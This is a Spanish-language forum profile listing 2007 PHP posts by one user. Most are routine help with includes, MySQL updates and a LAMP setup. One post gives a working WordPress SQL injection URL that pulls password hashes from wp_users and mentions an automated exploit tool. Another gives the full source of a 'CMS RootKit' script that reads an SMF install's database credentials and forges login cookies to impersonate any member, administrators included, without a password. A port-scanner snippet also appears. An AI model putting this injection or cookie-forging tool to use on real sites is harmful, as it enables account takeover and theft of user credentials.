Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#4311
PHP / Re: Include que no incluye
20 Diciembre 2007, 00:08 AM
Yo te recomiendo que cambies de servidor XDDDD
#4312
PHP / Re: Include que no incluye
18 Diciembre 2007, 19:51 PM
Si hay otra forma y es con sockets, fget pides el sitio con una petición GET y lo imprimes en pantalla, si tiene sockets desactivado intenta usar system() y te bajas el sitio con wget y lo vas actualizando con wget sitio -O out||cat out||mv out, si tienes system deshabilitado, no puedes usar socket y no puedes hacer includes o requiere entonces usa un script <?php phpinfo(); ?> para verificar que puedes hacer y que no.
#4313
PHP / Re: ¿Mejor manera de restringir acceso?
18 Diciembre 2007, 08:57 AM
Juaz, y no quieres una taza de café también?,

Tu código es muy básico como para ejemplificar una situación, son muchas las variables y conbinaciones posibles, todo depende el sistema y como esté comprometido ese código dentro del sistema, además solo diste ejemplos, nada concreto donde uno pueda deducir por donde podría fallar.

Yo podría dar ejemplo:
if (!file_exist($ruta)) { NO; } else { OK; }

Ahora yo podría definir OK y NO con funciones declaradas con anterioridad pero en ese ejemplo yo podría decir que no tiene RFI pero si una denegación de servicio si hago un include al propio index, es mas, no es RFI pero si LFI... ahora si mas arriba hubiera filtrado $ruta entonces ya no sería vulnerable, además si todo eso hubiera cambiado dependiendo en que lugar del sistema se encuentre.

En simples palabras tu código es muy pobre como para deducir fallas. Expresate mejor si quieres ejemplos concretos.
#4314
PHP / Re: Include que no incluye
18 Diciembre 2007, 08:48 AM
Fijate en la configuración del apache si tienes habilitado los includes:
CitarURL file-access

Debería estar en ON

De todas formas debe ser tu servidor porque a mi me funcionó bién.
#4315
Una vulnerabilidad de tipo Inyección SQL fue encontrada en wordpress sobre las versiones 2.3 y posteriores.

Localmente hice pruebas y la version 2.3.1 no es afectada, de todas formas es recomendable utilizar sistemas de protección adicionales como PHPIDS o filtros que impidan un query con inyecciones SQL.

Ejemplo:

    http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/  UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/    FROM/**/wp_users%23

Esto también puede complementarse con una noticia posterior donde puedes tener acceso como administrador con tan solo tener acceso de lectura a la base de datos:
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/

Fuentes:
http://www.abelcheung.org/advisory/20071210-wordpress-charset.txt
http://www.cl.cam.ac.uk/~sjm217/advisories/wordpress-cookie-auth.txt
http://whk.h4ck1ng.net/2007-11.20/vulnerabilidad-en-la-autentificacion-de-cookies-dentro-de-wordpress/
http://seclists.org/bugtraq/2007/Dec/0127.html
http://trac.wordpress.org/ticket/2394
http://seclists.org/bugtraq/2007/Nov/0274.html
http://h4ck1ng.net/index.php/topic,1036.0.html
http://whk.h4ck1ng.net/2007-12.15/inyeccion-sql-en-wordpress-23-y-posteriores/

También está el pwnpress que hace todo el trabajo sucio automaticamente :P


http://www.info-pull.com/code.dynp
#4316
PHP / Fork en php
8 Diciembre 2007, 09:26 AM
Hola, estaba tratando de crear un port scanning en php pero de mucha velocidad donde se creara un proceso por cada 100 puertos para que fuera algo muy rápido pero me encontré con la sorpresa que no existe fork en php y me arrojó un error al ejecutarlo :-/

Busqué en php.net y encontré la función proc_open() que talvés pueda simular una función fork ejecutando /usr/local/bin/php para poder crear una función legitima fork(), me pueden dar una mano? :P

Por ejemplo:

Código (php) [Seleccionar]
$puerto = 1;
while ($puerto <= 1000) {
if(!@fsockopen($host, $puerto, $errno, $errstr, 30)) {
  echo "$puerto cerrado<br />\n";
} else {
  echo "$puerto abierto<br />\n";
}
$puerto++;
}


Hacerlo tardaría muchisimo pero con fork sería una solución
Código (php) [Seleccionar]

function escanear($host, $puerto_desde, $puerto_hasta){
while ($puerto_desde <= $puerto_hasta) {
  if(!@fsockopen($host, $puerto_desde, $errno, $errstr, 30)) {
   echo "$host:$puerto_desde cerrado<br />\n";
  } else {
   echo "$host:$puerto_desde abierto<br />\n";
  }
  $puerto_desde++;
}
}

escanear("127.0.0.1", "1", "1000");
escanear("192.168.1.69", "1", "1000");
escanear("200.200.200.200", "1", "1000");
escanear("10.10.10.10", "1", "1000");
escanear("216.93.175.75", "1", "1000");
etc....


Imagina todo esto en diferentes procesos, uno por cada escaneo.
#4317
PHP / Re: UPDATE mySQL en PHP
8 Diciembre 2007, 03:57 AM
Código (php) [Seleccionar]
<?
        //Para evitar hacer esta invocacion de variables de conexion cada rato necesitas
        //hacerte un php con cualquier nombre donde pongas estas variables y luego lo llamas con un include.
        //Inicializamos variables de conexión

        $host="localhost";
$user="tu usuario";
$passwd="tu password";
$db="tu base de datos";

        //Aqui recibimos las variables a actualizar

       $id=$_POST['h'];
       $valor1=$_POST['valor1'];
       $valor2=$_POST['valor2'];

        //Creamos la conexión

        $link = mysql_connect($host, $user, $passwd);
mysql_select_db($db, $link);

        //aqui preguntamos si hicieron click en el boton actualizar
        if($_POST['ir']=="Actualizar")
       {
              $sql=mysql_query("update [/tabla] set valor1='$valor1', valor2='$valor2' where [/id_de_tabla]='$id'",$link);
              echo "Actualizado correctamente";
        }
       else
       {
            header("Location: nombre_php_anterior.php");
        }
?>


Puedes modificarlo por lo siguiente:

Código (php) [Seleccionar]
<?
//Para evitar hacer esta invocacion de variables de conexion cada rato necesitas
//hacerte un php con cualquier nombre donde pongas estas variables y luego lo llamas con un include si es que existe con if exist para evitar errores.

        $referer = htmlspecialchars($_SERVER['HTTP_REFERER']);
        //Inicializamos variables de conexión
        $host="localhost";
$user="tu usuario";
$passwd="tu password";
$db="tu base de datos";

        //Aqui recibimos las variables a actualizar

       $id = filtro($_POST['h']);
       $valor1 = filtro($_POST['valor1']);
       $valor2 = filtro($_POST['valor2']);


function filtro($input){
$referer = htmlspecialchars($_SERVER['HTTP_REFERER']);
$filtro = array("`", "´", '"', "<", ">", ";", "'", "%60", "%C2%B4", "%22", "%3E", "%3C","%27", "%25", "%");
for ($i=0; $i < count($filtro) ; $i++) {
  if(eregi($filtro[$i],$input)) {
echo "<center>Error.<br /><br />
<a href=\"$referer\">Buelva a intentarlo por favor</a>.</center>\n";
   exit(1);
  }
}
return mysql_escape_string(htmlspecialchars($input, ENT_QUOTES));
}

//Creamos la conexión

$link = mysql_connect($host, $user, $passwd);
mysql_select_db($db, $link);

//aqui preguntamos si hicieron click en el boton actualizar
if($_POST['ir']=="Actualizar")
{
$sql=mysql_query("update [/tabla] set valor1='$valor1', valor2='$valor2' where [/id_de_tabla]='$id'",$link);
echo "Actualizado correctamente";
} else { header("Location: nombre_php_anterior.php"); }

?>


Solo le añadí un pequeño filtro para que no le hechen por la borda el trabajo con una inyección sql.
#4318
PHP / Re: error al abrir un archivo php
8 Diciembre 2007, 03:43 AM
Eso es porque tu apache no está reconociendo php.
ejecutas en tu consola...
sudo apt-get update
sudo apt-get install mysql-server
sudo /usr/bin/mysqladmin -u root password 123456 (esto significa que tu sql tendra como user "root" y password "123456")
sudo apt-get install apache2
sudo apt-get install php5
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-gd
sudo apt-get install php5-mysql
sudo apt-get install phpmyadmin
sudo /etc/init.d/mysql restart
sudo /etc/init.d/apache restart

Con todo eso tendrás apache+mysql+phpmyadmin+php5

Las configuraciones de cada uno están en
/etc/apache/httpd.conf
/etc/phpmyadmin/apache.conf
/etc/php5/apache2/php.ini
/etc/mysql/my.cnf
Los abres por ejemplo sudo gedit archivo.

Inicias con:
/etc/init.d/apache2 start
/etc/init.d/mysql start

Detienes con:
/etc/init.d/apache2 stop
/etc/init.d/mysql stop

Por defecto se instalará como servicio asi que no hace falta arrancar a menos que detengas los servicios en caso de que utilizes tu servidor esporádicamente, si es así entonces lo deshabilitas desde rcconf si no lo tienes lo instalas con sudo apt-get install rcconf.
#4319
PHP / CMS RootKit by WHK
8 Diciembre 2007, 02:00 AM
Hola, estoy creando un sistema en PHP que se basa en la administración de sistemas CMS, la idea es poder aprender de cada uno... smf, wordpress, etc.

Por ejemplo con tan solo visualizarlo en un directorio de smf podras iniciar seción como cualquier usuario sin la necesidad del password entendiendo la estructura de la cookie, tambien quiero hacerlo para wordpress entre otras cosas mas.

Hice la pagina pero quiero subirla como pagina demostrativa en http://lab.jccharry.com/ pero para eso necesito verificar bien que no tenga alguna vulnerabilidad como por ejemplo alguna inyección sql ya que se basa en consultas a la base de datos. De todas formas lo haré en una cuenta aparte sin derechos de sobreescribir nada ni de leer otras bases de datos pero prefiero evitar antes que lamentar.

Código (php) [Seleccionar]
<?php

#################################################
# Archivo  : rk.php #
# Nombre  : CMS RootKit #
# Version : 2.3 Beta     #
# Autor   : WHK          #
# Sistemas CMS soportados : SMF 1.1.4 #
#################################################

// Declaraciones, variables y constantes ============================================
$rk_path_smf "./Settings.php";
$rk_path_wordpress "./wp-config.php";
$rk_cms  rk_filtro($_GET["CMS"]);
$rk_id rk_filtro($_GET["id"]);
// $rk_tipo_user = rk_filtro($_GET["tipo_user"]);
$rk_username rk_filtro($_GET["username"]);
$rk_cookiename urlencode($_GET["cookiename"]);
$rk_id_MEMBER rk_filtro($_GET["ID_MEMBER"]);
$rk_id_GROUP rk_filtro($_GET["ID_GROUP"]);
$rk_passwd rk_filtro($_GET["passwd"]);
$rk_passwordSalt rk_filtro($_GET["passwordSalt"]);
$rk_header "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
<html>
<head>
<title>CMS RootKit by WHK</title>
</head>
<body style=\"color: rgb(255, 255, 255); background-color: rgb(102, 0, 0);\" alink=\"white\" link=\"white\" vlink=\"white\">\n<div style=\"text-align: center;\">
<big>
<span style=\"font-weight: bold;\"><a href=\"?\">CMS RootKit by WHK</a></span>
</big><br />
</div><br /><br />
<table style=\"text-align: center; width: 100%; font-weight: bold;\" border=\"0\">
<tbody>
<tr>
<td>Herramientas</td>
</tr>
</tbody>
</table>
<table style=\"text-align: center; width: 100%;\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td><a href=\"?CMS=crear\">Crear cookie</a></td>
</tr>
</tbody>
</table>
<br /><br />"
;
$rk_footer "</body>
</html>"
;
$rk_consola_a "<span style=\"font-style: italic; font-weight: bold;\">Debugger</span><br />
<table style=\"text-align: left; width: 100%; color: rgb(51, 255, 51);\" border=\"2\" cellpadding=\"0\" cellspacing=\"0\">
<tbody>
<tr>
<td style=\"background-color: rgb(0, 0, 0);\">\n"
;
$rk_consola_b "</td>
</tr>
</tbody>
</table>\n"
;
$rk_contenido_1 "<br /><br />
<span style=\"font-weight: bold;\"> Haz click sobre el sistema CMS que deseas administrar.</span>\n"
;
$rk_contenido_2 "<span style=\"font-weight: bold;\">Ingrese el nombre de usuario registrado para iniciar seci&oacute;n, o si 
lo prefieres puedes ingresar &uacute;nicamente el numero de usuario registrado.
(No se requiere password).<br /><br />
</span>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
<tbody>
<tr>
<td>Username:&nbsp;</td>
<td><input name=\"username\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</form>
<form method=\"get\">
<input name=\"CMS\" value=\"SMF\" type=\"hidden\">
<tr>
<td>Id N&ordm;:&nbsp;</td>
<td><input name=\"id\" type=\"text\"></td>
<td><input value=\"Ingresar\" type=\"submit\"></td>
</tr>
</tbody>
</table>
</form>\n"
;
$rk_error_1 "Falta cookiename";
$rk_error_2 "Falta ID_MEMBER";
$rk_error_3 "Falta passwd";
$rk_error_4 "Falta passwordSalt";
$rk_error_5 "Falta ID_GROUP";
$rk_comando_0 "root@system:~$ <br />\n";
$rk_comando_1 "root@system:~$ rk&nbsp;-cms verificar<br />\n";
$rk_comando_2 "root@system:~$ rk&nbsp;-cms $rk_cms<br />\n";
$rk_comando_3 "root@system:~$ rk&nbsp;-cms $rk_cms -username $rk_username<br />\n";
$rk_comando_4 "root@system:~$ rk&nbsp;-cms $rk_cms -cookiename $rk_cookiename -ID_MEMBER $rk_id_MEMBER -passwd *** -passwordSalt $rk_passwordSalt<br />\n";
// ==================================================================================

// Funciónes ========================================================================
// Filtro ---------------------------------------------------------------------------
function rk_filtro($rk_input){
 
$rk_referer htmlspecialchars($_SERVER['HTTP_REFERER']);
 
$rk_filtro = array("`""´"'"'"<"">"";""'""%60""%C2%B4""%22""%3E""%3C","%27""%25""%");
 for (
$rk_i=0$rk_i count($rk_filtro) ; $rk_i++) {
  if(
eregi($rk_filtro[$rk_i],$rk_input)) { 
 echo 
"<center>Por razones de seguridad no puede mostrarse la p&aacute;gina debido a que has ingresado<br />
uno o mas caracteres prohibidos ("
.htmlspecialchars($rk_filtro[$rk_i]).") dentro de alg&uacute;n campo.<br /><br />
<a href=\"
$rk_referer\">Buelva a intentarlo por favor</a>.</center>\n";
   exit(
1);
  }
 }
return 
mysql_escape_string(htmlspecialchars($rk_inputENT_QUOTES));
}
// ----------------------------------------------------------------------------------

// Verificación de sistemas CMS -----------------------------------------------------
function rk_verificar($rk_vcms$rk_path){
 if (
file_exists($rk_path)) {
  
rk_consola("Se ha detectado un sistema <a style=\"color: rgb(51, 255, 51);\" href=\"?CMS=$rk_vcms\">$rk_vcms</a> en este directorio.");
  return 
false;
 } else {
  return 
true;
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de error -----------------------------------------------------------------
function rk_error($rk_ferror){
 echo 
"<font style='color: red'>[!] $rk_ferror</font><br />\n";
 return 
true;
}
// ----------------------------------------------------------------------------------

// Mensaje rojo ---------------------------------------------------------------------
function rk_msg_rojo($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(204, 0, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje verde --------------------------------------------------------------------
function rk_msg_verde($rk_fcolor){
 echo 
"<span style=\"font-weight: bold; color: rgb(0, 153, 0);\">$rk_fcolor</span>";
}
// ----------------------------------------------------------------------------------

// Mensaje multicolor ---------------------------------------------------------------
function rk_msg_multicolor($rk_fcolor$verificar){
 if(
$verificar == "1"){
  
rk_msg_rojo($rk_fcolor);
 } else {
  
rk_msg_verde($rk_fcolor);
 }
}
// ----------------------------------------------------------------------------------

// Mensaje de consola ---------------------------------------------------------------
function rk_consola($rk_fconsola){
 echo 
"[*] $rk_fconsola<br />\n";
}
// ----------------------------------------------------------------------------------
// ==================================================================================

// Inicio ===========================================================================
if($rk_cms == ""){
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_1;
 
rk_consola("Verificando sistemas CMS ...");

// Verificando sistemas CMS... -----------------------------------------------------
 
if (!rk_verificar("SMF"$rk_path_smf)) {
  
$rk_b "1";
 }

 if (!
rk_verificar("Wordpress"$rk_path_wordpress)) {
  
$rk_b "1";
 }
// ----------------------------------------------------------------------------------

 
if ($rk_b != "1") {
  
rk_error("No se ha detectado ning&uacute;n sistema CMS.<br />\n");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 } else {
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_1;
  echo 
$rk_footer;
  exit(
0);
 }
}
// ==================================================================================

// Crear cookie =====================================================================
$rk_e "1";
if(
$rk_cms == "crear") {
if (
$rk_cookiename == "") { $rk_f1 "1"  $rk_e++ ; }
if (
$rk_id_MEMBER == "") { $rk_f2 "1"  $rk_e++ ; }
if (
$rk_passwd == "") { $rk_f3 "1"  $rk_e++ ; }
if (
$rk_passwordSalt == "") { $rk_f4 "1"  $rk_e++ ; }
if (
$rk_id_GROUP == "") { $rk_f5 "1"  $rk_e++ ; }
if (
$rk_e == "6") {
 echo 
$rk_header;
 echo 
"<span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>cookiename:&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_MEMBER:&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\"></td>
          </tr>
          <tr>
            <td>Passwd (HASH):&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\"></td>
          </tr>
          <tr>
            <td>passwordSalt:&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\"></td>
          </tr>
          <tr>
            <td>ID_GROUP:&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
} else {
if (
$rk_e  >= "2") { 
 echo 
"$rk_header $rk_consola_a $rk_comando_4";
 if (
$rk_f1 == "1") { rk_error("$rk_error_1"); }
 if (
$rk_f2 == "1") { rk_error("$rk_error_2"); }
 if (
$rk_f3 == "1") { rk_error("$rk_error_3"); }
 if (
$rk_f4 == "1") { rk_error("$rk_error_4"); }
 if (
$rk_f5 == "1") { rk_error("$rk_error_5"); }
 echo 
"<br />$rk_comando_0\n$rk_consola_b ";
 echo 
"<br /><span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
<form method=\"get\">
<table style=\"text-align: left; width: 100%;\" border=\"1\"
 cellpadding=\"1\" cellspacing=\"0\">
  <tbody>
    <tr>
      <td>
      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
        <tbody>
          <tr>
            <td>"
;rk_msg_multicolor("cookiename:"$rk_f1);echo"&nbsp;</td>
            <td><input name=\"cookiename\" type=\"text\" value=\"
$rk_cookiename\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_MEMBER:"$rk_f2);echo"&nbsp;</td>
            <td><input name=\"ID_MEMBER\" type=\"text\" value=\"
$rk_id_MEMBER\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("Passwd (HASH):"$rk_f3);echo"&nbsp;</td>
            <td><input name=\"passwd\" type=\"text\" value=\"
$rk_passwd\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("passwordSalt:"$rk_f4);echo"&nbsp;</td>
            <td><input name=\"passwordSalt\" type=\"text\" value=\"
$rk_passwordSalt\"></td>
          </tr>
          <tr>
            <td>"
;rk_msg_multicolor("ID_GROUP:"$rk_f5);echo"&nbsp;</td>
            <td><input name=\"ID_GROUP\" type=\"text\" value=\"
$rk_id_GROUP\"></td>
            <td><input value=\"Generar cookie\" type=\"submit\"></td>
          </tr>
        </tbody>
      </table>
      </td>
    </tr>
  </tbody>
</table>
</form>
<br />
Ingresa los siguientes datos para generar tu cookie."
;
 echo 
$rk_footer;
}

if (
$rk_e == "1") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_4;
 if(
$rk_id_GROUP == "1") {
  
// Administrador
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_id_MEMBER\";i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
 if(
$rk_id_GROUP == "0") {
  
// Usuario
  
rk_consola("Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  echo 
"[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  
rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;i:$rk_id_MEMBER;i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
 }
}
}
}
// ==================================================================================

// SMF ==============================================================================
if($rk_cms == "SMF") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 if(
$rk_username != ""){
  echo 
$rk_comando_3;
 } else {
  echo 
$rk_comando_2;
 }
// Verificando la existencia de SMF -------------------------------------------------
 
rk_consola("Verificando sistema SMF...");
 if (
file_exists($rk_path_smf)) {
  
define("SMF"1);
  include(
$rk_path_smf);
 
rk_consola("Verifici&oacute;n satisfactoria.");
 } else { 
  
rk_error("No existe el sistema CMS en este directorio.");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_footer;
  exit(
1);
 }

// Definiendo conexión SQL ---------------------------------------------------------
 
define (SERVER$db_server);
 
define (USER $db_user);
 
define (PASS $db_passwd);
 
define (DB,    $db_name);
// ----------------------------------------------------------------------------------------

// Función de la consulta SQL -------------------------------------------------------
function rk_db_query($rk_sql){
 if (!
$rk_conectar = @mysql_pconnect(SERVERUSERPASS)){
  
rk_error("Error en la conecci&oacute;n.");
  return 
false
 }
 if (!@
mysql_select_db(DB,$rk_conectar) ){
  
rk_error("Error al seleccionar la base de datos.");
  return 
false;
 }
 if (!
$rk_query = @mysql_query($rk_sql,$rk_conectar) ){
  
rk_error("Error al efectuar la busqueda.");
  return 
false
 }
 return 
$rk_query
}

// Verificando ID_MEMBER y memberName ------------------------------------------------
 
$rk_consulta2 "SELECT ID_MEMBER FROM `".$db_prefix."members`";
 if (
$rk_id != "") {
  
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE ID_MEMBER = $rk_id";
  
$c_ "1";
 }

 if (
$c_ != "1") {
  if (
$rk_username != "") {
   
$rk_consulta "SELECT * FROM `".$db_prefix."members` WHERE `memberName` LIKE CONVERT(_utf8 '$rk_username' USING latin1) COLLATE latin1_swedish_ci";
  }
 }

// Buscando usuario ------------------------------------------------------------------
 
rk_consola("Conectando...");
 if((
$rk_username == "") and ($rk_id == "")){
  if (
$rk_query rk_db_query($rk_consulta2)){
   
$rk_whk "1";
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out)
     
$rk_whk++;
   }
   
$rk_whk_out $rk_whk 1;
   
rk_consola("Conecci&oacute;n satisfactoria.");
  }
  
rk_consola("Numero de usuarios registrados: $rk_whk_out");
  echo 
"<br />$rk_comando_0\n";
  echo 
$rk_consola_b;
  echo 
$rk_contenido_2;
  echo 
$rk_footer;
  exit(
0); 

 } else {
  if (
$rk_query rk_db_query($rk_consulta)){
   
rk_consola("Conecci&oacute;n satisfactoria.");
   if (
$c_ == "1") {
    
rk_consola("Buscando usuario N&ordm;$rk_id ...");
   } else {
    
rk_consola("Buscando usuario $rk_username...");
   }
   
$rk_whk 1;
   while (
$rk_row mysql_fetch_row($rk_query)){
    foreach (
$rk_row as $rk_out){
     if (
$rk_whk == "1" ){ $rk_idMEMBER_out  $rk_out; }
     if (
$rk_whk == "2" ){ $rk_usernameout  $rk_out; }
     if (
$rk_whk == "5" ){ $rk_idGROUP_out  $rk_out; }
     if (
$rk_whk == "14"){ $rk_passwd_out  $rk_out; }
     if (
$rk_whk == "52"){ $rk_passwordSalt_out $rk_out; }
     
$rk_whk++;
    }
   }
  }
 }

// Aplicando cookie ------------------------------------------------------------------
 
if($rk_idGROUP_out == "1") {
  
// Administrador
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Administrador)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_idMEMBER_out\";i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "0") {
  
// Usuario
  
rk_consola("Usuario encontrado. Construyendo cookie...");
  
rk_consola("Datos:");
  echo 
"<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  echo 
"[!] Username: $rk_usernameout<br />\n";
  echo 
"[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  echo 
"[!] passwd (hash): $rk_passwd_out<br />\n";
  echo 
"[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  echo 
"[!] ID_GROUP: $rk_idGROUP_out (Usuario)</font><br />\n";
  echo 
"<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;i:$rk_idMEMBER_out;i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  
rk_consola("Cookie aplicada.");
 }
 if(
$rk_idGROUP_out == "") {
  
// Ninguno
  
rk_error("Usuario inexistente.<br />\n");
 }
echo 
"<br />$rk_comando_0\n";
echo 
$rk_consola_b;
echo 
$rk_contenido_2;
echo 
$rk_footer;

// ----------------------------------------------------------------------------------
// ==================================================================================

// Wordpress ========================================================================
if($rk_cms == "Wordpress") {
 echo 
$rk_header;
 echo 
$rk_consola_a;
 echo 
$rk_comando_2;
 
rk_error("En construcci&oacute;n.");
 echo 
"<br />$rk_comando_0\n";
 echo 
$rk_consola_b;
 echo 
$rk_footer;
}
// ==================================================================================

?>



Acá les dejo el avance del sistema, si alguien ve alguna falla antes de subirlo porfavor que me lo pueda decir.
todavía no está 100% terminado pero si operativo.
Una copia del código lo dejé acá:
http://foro.jccharry.com/index.php?topic=42.0
donde explico el fin de este archivo.